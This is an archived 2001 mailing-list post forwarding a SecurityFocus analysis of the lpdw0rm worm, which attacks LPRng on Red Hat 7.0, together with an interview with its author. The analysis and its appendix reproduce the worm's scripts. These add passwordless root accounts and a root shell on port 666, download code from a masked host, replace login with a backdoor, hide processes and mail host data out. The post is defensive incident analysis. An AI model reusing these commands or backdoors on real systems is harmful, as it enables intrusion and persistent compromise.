[ISN] lpdw0rm analysis

From: InfoSec News (isnat_private)
Date: Sat Apr 28 2001 - 02:24:47 PDT

  • Next message: InfoSec News: "[ISN] Often unguarded wireless networks can be eavesdroppers' gold mine It is easy to make a wireless network secure."

    ---------- Forwarded message ----------
    Date: Thu, 26 Apr 2001 23:42:49 -0600
    From: Ryan Russell <ryanat_private>
    To: INCIDENTSat_private
    Subject: lpdw0rm analysis
    "lpdw0rm" Worm Analysis
    April 26, 2001
    Analysts: Oliver Friedrichs, Jensenne Roculan and Ryan Russell
    SecurityFocus wishes to thank the anonymous party who originally supplied
    us with a copy of the lpdw0rm.tar file, and also Kork for supplying us
    with further versions and source code, and agreeing to speak with us.
    Associated Vulnerability:
    Multiple Vendor LPRng User-Supplied Format String Vulnerability
    Associated Bugtraq ID:
    Associated Operating Systems:
    RedHat Linux 7.0
    General Overview
    There is a new worm in the wild that affects unpatched Red Hat 7.0 servers
    running the lprng printing service.  This is one of the vulnerabilities
    that several previous worms have taken advantage of.  The fix is to apply
    the patch from Red Hat.  Part of the threat has already been removed, as
    the website that the worm downloads itself from has had the worm files
    removed.  However, the author could re-active the website, or anyone could
    easily create a variant that downloads itself from somewhere else. Even
    with the download disabled, two backdoor access methods are installed
    during the initial compromise.  There are still compromised machines out
    in the wild that will be scanning for new hosts to attack.
    Technical Description
    The lpdw0rm installs several backdoors when it compromises a host.  The
    initial set can be inferred from the .shelldet file, which is the set of
    commands sent when the exploit is successful.  It has the following set of
    echo 'kork::1212:1212:::/bin/sh'>>/etc/passwd
    echo 'kork::::::::'>>/etc/shadow
    echo 'kork2::0:0:::/bin/sh'>>/etc/passwd
    echo 'kork2::::::::'>>/etc/shadow
    echo '666 stream tcp nowait root /bin/sh'>>/etc/inetd.conf
    killall -HUP inetd
    These add two new logins, kork and kork2, with no password.  One of them is a
    root equivalent.  It also adds a shell prompt at TCP port 666.
    Next, it downloads a file called login.c, moves it to /dev/.kork, does a
    "make login", moves /bin/login to /bin/.login, moves /dev/.kork/login to
    /bin/login.  Then it downloads a copy of itself (lpdw0rm.tar), untars
    itself into /dev/.kork, runs /dev/.kork/rk/install.sh, and then finally
    runs /dev/.kork/scan.sh .  The install.sh script collects the output from
    the following commands:
    finger root
    ps ax
    And mails them to an outside e-mail account.  Next, it renames /bin/ps to
    /bin/.ps, and copies a perl script named "ps" that was included in
    lpdw0rm.tar to /bin/ps.  This perl script runs the saved .ps program, and
    strips out any entries with the following strings:
    perl /bin/ps
    The install.sh script finishes up by running winky.pl in the background.
    Winky.pl is an IRC bot, written in 41 lines of perl.  Upon running, it
    connects to twisted.dal.net, and logs into the #qcrew channel with a
    password.  The victims will then remain logged in, awaiting commands.
    Anyone with a copy of the script has enough information to cause all of
    these victims to simultaneously execute an arbitrary command.  During one
    point while this analysis was being written, there were two victim
    machines logged into the channel, but this is after the worm has been
    pulled from the website.  If the victim canít download the tar file, this
    portion of the worm cannot execute.
    This feature could be leveraged to create a distributed denial of service
    attack, and is yet one more method for an attacker to return to the
    compromised host.  SecurityFocus has at least one other copy of
    lpdw0rm.tar that does not include winky.pl, nor reference to it in
    install.sh.  There are at least two variants of this worm, and could
    easily be more, since all the author had to do was replace lpdw0rm.tar on
    her website.
    Much like previous worms, lpdw0rm contains a scan.sh script that does
    three things in a continuous loop; it runs randb, and saves the output
    into a variable named CLASS.  It runs pscan with the parameters $CLASS and
    515 (the lpr/lprng port) and then runs check.  The randb program generates
    the first two octets of an IP address.  Unlike previous versions of randb,
    the worm author has modified it to avoid certain address ranges that are
    makred for private use, or are above the multicast range.  Specifically,
    it's programmed to avoid a first byte of 0 through 10, 49, anything over
    230, and a first two bytes of 192.168.  Previous versions of rand would
    pick any combination of bytes.
    The pscan program is a standard full-connect port scanner.  The check
    program is a shell script which calls .hack:
    cat results.log | xargs -P 30 -l ./.hack
    And .hack is a shell script that calls expl, which is the actual exploit binary:
    ./expl $1 -t0 < .shelldet
    ./expl $1 brute -t0 < .shelldet
    exit 1
    The source code for this binary can found attached to the LPRng vulnerability
    entry at:
    on the "exploit" tab.
    Author Interview
    Kork, the author of the worm, agreed to an IRC interview with several
    SecurityFocus employees.  She describes herself as a 19 year old
    programmer from Australia.  She confirmed that she wrote the worm, and
    provided us with a variant, and the source code to some of the pieces.
    She says that she took the files off of her web server because the worm
    was spreading too fast.  She says that is has been in the wild for about a
    month, and that she has had as many as a hundred new victims per day.
    When asked if she was concerned about being prosecuted, she indicated that
    she didn't feel that there was an adequate trail back to her.  Her general
    reasoning as to why she had written the worm was to see if she could do
    Additional Resources
    Multiple Vendor LPRng User-Supplied Format String Vulnerability
    Red Hat patch:
    Worm author's website
    Appendix: Source Code & Scripts
    ./expl $1 -t0 < .shelldet
    ./expl $1 brute -t0 < .shelldet
    exit 1
    echo 'kork::1212:1212:::/bin/sh'>>/etc/passwd
    echo 'kork::::::::'>>/etc/shadow
    echo 'kork2::0:0:::/bin/sh'>>/etc/passwd
    echo 'kork2::::::::'>>/etc/shadow
    echo '666 stream tcp nowait root /bin/sh'>>/etc/inetd.conf
    killall -HUP inetd
    lynx --dump http://x.x.x.x/~kork/login.c
    mkdir /dev/.kork
    mv login.c /dev/.kork
    cd /dev/.kork
    make login
    mv /bin/login /bin/.login
    mv login /bin/login
    rm -rf login.c
    ln -s /bin/.login /bin/login
    lynx --dump http://x.x.x.x/~kork/lpdw0rm.tar>>lpdw0rm.tar
    tar -xvf lpdw0rm.tar
    cd lpdw0rm
    cd rk
    cd ..
    ./scan.sh >>/dev/null &
    cat results.log | xargs -P 30 -l ./.hack
    while true
    	./pscan $CLASS 515
    echo '0wned'>>mail.stat
    echo 'HOST DET:'>>mail.stat
    finger root>>mail.stat
    ps ax>>mail.stat
    echo '.'>>mail.stat
    echo ''>>mail.stat
    mail korkat_private < mail.stat
    rm -rf mail.stat
    mv /bin/ps /usr/bin/.ps
    mv ps /bin/ps
    ./winky.pl &
    $args="$ARGV[0] $ARGV[1] $ARGV[2] $ARGV[3] $ARGV[4] $ARGV[5]
    $ARGV[6] $ARGV[7] $ARGV[9] $ARGV[10]";
    system "/usr/bin/.ps $args >>/tmp/.tmpps";
    while(<TEST>) {
    if (index($data,"cat") >= 0) { goto nextr; }
    if (index($data,"pscan") >= 0) { goto nextr; }
    if (index($data,"bfs") >= 0) { goto nextr; }
    if (index($data,"binfo") >= 0) { goto nextr; }
    if (index($data,"hack") >= 0) { goto nextr; }
    if (index($data,"expl") >= 0) { goto nextr; }
    if (index($data,"check") >= 0) { goto nextr; }
    if (index($data,"scan.sh") >= 0) { goto nextr; }
    if (index($data,"xargs") >= 0) { goto nextr; }
    if (index($data,"perl /bin/ps") >= 0) { goto nextr; }
    if (index($data,"/usr/bin/.ps") >= 0) { goto nextr; }
    if (index($data,"login") >= 0) { goto nextr; }
    if (index($data,"in.telnetd") >= 0) { goto nextr; }
    print "$data";
    system "rm -rf /tmp/.tmpps";
    #include <stdio.h>
    #include <stdlib.h>
    int main() {
    int a=0,b=0;
    a=1+(int) (223.0*rand()/(RAND_MAX+1.0));
    b=1+(int) (255.0*rand()/(RAND_MAX+1.0));
    if (a == 127) { goto start; }
    if (a == 0) { goto start; }
    if (a == 1) { goto start; }
    if (a == 2) { goto start; }
    if (a == 3) { goto start; }
    if (a == 4) { goto start; }
    if (a == 5) { goto start; }
    if (a == 6) { goto start; }
    if (a == 7) { goto start; }
    if (a == 8) { goto start; }
    if (a == 9) { goto start; }
    if (a == 10) { goto start; }
    if (a == 49) { goto start; }
    if (a == 192) { if (b == 168) { goto start; } }
    printf("%i.%i", a, b);
    login backdoor by Kork
    #include <stdio.h>
    #define pass "xxxxxxx"
    #define lpath "/bin/.login"
    int main(int argc, char *argv[], char *envp[]) {
      char *disp;
      if(disp == NULL) {
        execve(lpath, argv, envp);
      if (!strcmp(disp,pass)) {
      execve(lpath, argv, envp);
    ISN is hosted by SecurityFocus.com
    To unsubscribe email LISTSERVat_private with a message body of

    This archive was generated by hypermail 2b30 : Sat Apr 28 2001 - 02:32:03 PDT